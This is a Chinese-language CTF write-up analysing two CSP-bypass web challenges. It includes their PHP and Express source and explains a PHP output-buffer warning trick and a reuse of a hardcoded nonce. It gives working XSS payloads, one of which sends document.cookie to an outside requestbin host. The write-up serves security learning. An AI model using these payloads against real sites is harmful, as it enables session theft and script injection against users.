两道CSP题目绕过分析
2021-03-04 15:44:16 Author: xz.aliyun.com(查看原文) 阅读量:294 收藏

前言

接近年边了比赛挺多的,就挑了几个自己擅长的类型题目做了一下,结果题目都太难了QAQ。

0x01 Baby CSP

1.题目简介
We just started our bug bounty program. Can you find anything suspicious?

The website is running at https://baby-csp.web.jctf.pro/
这道题目太难了,赛前做了两天都每个做出来,赛后看了原作者的思路,总结了一下。
2.题目源码如下:
<?php
require_once("secrets.php");
$nonce = random_bytes(8);

if(isset($_GET['flag'])){
 if(isAdmin()){
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: DENY');
    header('Content-type: text/html; charset=UTF-8');
    echo $flag;
    die();
 }
 else{
     echo "You are not an admin!";
     die();
 }
}

for($i=0; $i<10; $i++){
    if(isset($_GET['alg'])){
        $_nonce = hash($_GET['alg'], $nonce);
        if($_nonce){
            $nonce = $_nonce;
            continue;
        }
    }
    $nonce = md5($nonce);
}

if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
    header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
    echo <<<EOT
        <script nonce='$nonce'>
            setInterval(
                ()=>user.style.color=Math.random()<0.3?'red':'black'
            ,100);
        </script>
        <center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
        <p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
    show_source(__FILE__);
}

// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile
在底部我们能看到两行注释:
  • /bugbounty.php,应该是提交bug链接的地方。
  • /Dockerfile,给我们提供了一个Dockerfile文件:
    FROM php:7.4-apache
    COPY src-docker/ /var/www/html/
    RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini"
    EXPOSE 80
    
    ###### 从Dockerfile中我们知道php使用的是开发环境。这个点是非常关键的,因为后面我们要利用php响应缓冲区大小填充来绕过http响应头。
3.解决
反射性XSS
我们通过在/?user=<span>ljpm</span>插入一个标签并显示在页面中,你可以访问该地址查看https://baby-csp.web.jctf.pro/?user=%3Cspan%3Eljpm%3C/span%3E

但是我们被限制在23个字符以内(strlen($_GET['user']) <= 23),通过 https://tinyxss.terjanq.me/ 我们能发现,payload大概是这个样子:
根据Content-Security-Policy策略我们的代码显然不可能执行:

PHP Warnings
从上面我们知道该php环境是开发模式下的,hash($_GET['alg'], $nonce)hash函数通过$_GET[]来获取alg参数,该参数是用来选择hash()算法的,以便从8个随机字节中生成随机数,但是如果alg无效呢?它会抛出10个警告。

出题人的意图:
  • 通常,在PHP中,当您在调用header()之前返回任何主体数据时,该调用将被忽略,因为响应已发送给用户,并且必须先发送标头。 在应用程序中,在调用header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");之前未返回任何显式数据。但是因为警告是首先显示的,所以它们在header()有机会到达之前就进入了响应缓冲区。
  • PHP在默认情况下将响应缓冲区设置到4096字节,因此通过在warnings内提供足够的数据,响应将在CSP头之前发送,从而导致头被忽略。 因此,就可以执行我们插入的代码了。
  • 警告的大小也有另一个限制(好像是1kb),因此有必要将4个警告各强制1000个字符,其实大于1000字符也可以的。
payload如下:
<script>
    name="fetch('?flag').then(e=>e.text()).then(alert)";
    location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292');
</script>
poc 地址。

0x02.Babier CSP

1.源码
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '' : `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
    res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
    res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
    console.log(`Example app listening at http://localhost:${port}`)
})
题目乍一看,没什么思路,因为CSP设置了default-src none; script-src 'nonce-${NONCE}';,我们想要执行脚本,必须获取nonce的值。但是nonce的值是变动的因此无法使用?
2.最开始的想法:
利用不完整script标签绕过nonce
示例如下:
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
  //do some thing
</script>

PS: 最新版本的chrome不支持。
但是该题目中隔了一行标签因此该方法失效了。

3.解决
几经辗转后发现,题目的nonce属于硬编码,直接读取即可。
刚开始没注意NONCE已经初始化,而且在我们访问题目的时候,不会在去执行模板上面的NONCE生成,因此每次访问是不会变的。
payload:
<script nonce="g+ojjmb9xLfE+3j9PsP/Ig==">
    location.href="http://http.requestbin.buuoj.cn/1jfgdf81?flag="+document.cookie;
</script>
PS: 需要url编码。
访问机器人:

拿到secret

获取flag:

0x03.参考链接

https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points

文章来源: http://xz.aliyun.com/t/9219
如有侵权请联系:admin#unsafe.sh